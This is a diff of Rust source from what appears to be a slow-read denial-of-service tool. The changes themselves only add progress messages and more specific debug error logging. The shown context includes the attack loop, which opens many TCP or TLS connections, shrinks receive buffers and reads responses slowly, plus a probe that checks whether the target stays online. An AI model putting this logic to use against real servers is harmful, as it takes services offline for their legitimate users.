@@ -100,8 +100,10 @@ fn start(options: Options) -> impl Future<Item = (), Error = ()> {
100
100
let start_time = Instant :: now ( ) ;
101
101
let service_online = Arc :: new ( AtomicBool :: new ( true ) ) ;
102
102
103
+ println ! ( "Launching probe connection..." ) ;
103
104
let probe_conn = launch_probe_connection ( request. clone ( ) , & options, service_online. clone ( ) ) ;
104
105
106
+ println ! ( "Launching slow connections..." ) ;
105
107
let interval =
106
108
Interval :: new ( start_time, Duration :: from_secs ( 1 ) )
107
109
. for_each ( move |instant| {
@@ -120,7 +122,7 @@ fn start(options: Options) -> impl Future<Item = (), Error = ()> {
120
122
} ) ;
121
123
122
124
Deadline :: new ( interval, Instant :: now ( ) + attack_duration)
123
- . map_err ( |_| ( ) )
125
+ . map_err ( |e| debug ! ( "Deadline Error: {:?}" , e ) )
124
126
. join ( probe_conn)
125
127
. and_then ( |_| ok ( ( ) ) )
126
128
}
@@ -140,13 +142,13 @@ fn launch_probe_connection(req: Arc<Request>, options: &Options, service_online:
140
142
141
143
let probe = TcpStream :: connect ( req. sock_addr ( ) )
142
144
. map_err ( move |e| {
143
- debug ! ( "Connecting probe {:?}" , e) ;
145
+ debug ! ( "Error connecting probe {:?}" , e) ;
144
146
} ) . and_then ( move |tcp_stream| {
145
147
if * req_clone. scheme ( ) == Scheme :: HTTPS {
146
148
let builder = SslConnector :: builder ( SslMethod :: tls ( ) ) . unwrap ( ) ;
147
149
148
150
Box :: new ( SslConnectorExt :: connect_async ( & SslConnectorBuilder :: build ( builder) , req_clone. host ( ) , tcp_stream)
149
- . map_err ( move |e| debug ! ( "Upgrading probe to SSL {:?}" , e) )
151
+ . map_err ( move |e| debug ! ( "Error upgrading probe to SSL {:?}" , e) )
150
152
. and_then ( move |tcp_stream| {
151
153
ok ( Box :: new ( tcp_stream) as Box < AsyncStream + Send > )
152
154
} ) ) as Box < Future < Item = Box < AsyncStream + Send > , Error = ( ) > + Send >
@@ -156,10 +158,10 @@ fn launch_probe_connection(req: Arc<Request>, options: &Options, service_online:
156
158
157
159
} ) . and_then ( move |tcp_stream| {
158
160
io:: write_all ( tcp_stream, req_clone2. root_request_str ( ) . to_string ( ) )
159
- . map_err ( |e| debug ! ( "Writing to probe {:?}" , e) )
161
+ . map_err ( |e| debug ! ( "Error writing to probe {:?}" , e) )
160
162
} ) . and_then ( move |( tcp_stream, _) | {
161
163
io:: read_to_end ( tcp_stream, Vec :: new ( ) )
162
- . map_err ( |e| debug ! ( "Reading from probe {:?}" , e) )
164
+ . map_err ( |e| debug ! ( "Error reading from probe {:?}" , e) )
163
165
} ) . and_then ( move |_| {
164
166
service_online_clone2. store ( true , Ordering :: SeqCst ) ;
165
167
ok ( Loop :: Continue ( ( ) ) )
@@ -223,7 +225,7 @@ fn launch_attack(
223
225
TcpStream :: connect ( req. sock_addr ( ) )
224
226
. map_err ( move |e| {
225
227
err_open_conns. fetch_sub ( 1 , Ordering :: SeqCst ) ;
226
- debug ! ( "Connecting {:?}" , e) ;
228
+ debug ! ( "Error connecting {:?}" , e) ;
227
229
} ) . and_then ( move |tcp_stream| {
228
230
229
231
tcp_stream. set_recv_buffer_size ( recv_buffer_size) . unwrap ( ) ;
@@ -234,7 +236,7 @@ fn launch_attack(
234
236
Box :: new ( SslConnectorExt :: connect_async ( & SslConnectorBuilder :: build ( builder) , req. host ( ) , tcp_stream)
235
237
. map_err ( move |e| {
236
238
err_open_conns_2. fetch_sub ( 1 , Ordering :: SeqCst ) ;
237
- debug ! ( "Upgrading to SSL {:?}" , e) ;
239
+ debug ! ( "Error upgrading to SSL {:?}" , e) ;
238
240
} ) . and_then ( move |tcp_stream| {
239
241
ok ( Box :: new ( tcp_stream) as Box < AsyncStream + Send > )
240
242
} ) ) as Box < Future < Item = Box < AsyncStream + Send > , Error = ( ) > + Send >
@@ -244,7 +246,7 @@ fn launch_attack(
244
246
245
247
} ) . and_then ( move |tcp_stream| {
246
248
io:: write_all ( tcp_stream, req_clone. request_str ( ) . to_string ( ) )
247
- . map_err ( |e| debug ! ( "Writing {:?}" , e) )
249
+ . map_err ( |e| debug ! ( "Error writing {:?}" , e) )
248
250
249
251
} ) . and_then ( move |( tcp_stream, _) | {
250
252
loop_fn ( tcp_stream, move |tcp_stream| {
@@ -254,12 +256,15 @@ fn launch_attack(
254
256
io:: read_exact ( tcp_stream, buf)
255
257
. then ( move |res| {
256
258
let ( wait_time, value) = match res {
257
- Err ( _) => ( Duration :: from_secs ( 0 ) , ok ( Loop :: Break ( ( ) ) ) ) ,
259
+ Err ( e) => {
260
+ debug ! ( "Error reading {:?}" , e) ;
261
+ ( Duration :: from_secs ( 0 ) , ok ( Loop :: Break ( ( ) ) ) )
262
+ } ,
258
263
Ok ( ( tcp_stream, _buf) ) => ( wait_time, ok ( Loop :: Continue ( tcp_stream) ) )
259
264
} ;
260
265
261
266
Delay :: new ( Instant :: now ( ) + wait_time)
262
- . map_err ( |e| debug ! ( "Waiting {:?}" , e) )
267
+ . map_err ( |e| debug ! ( "Error waiting {:?}" , e) )
263
268
. and_then ( |_| value)
264
269
} )
265
270
} )
0 commit comments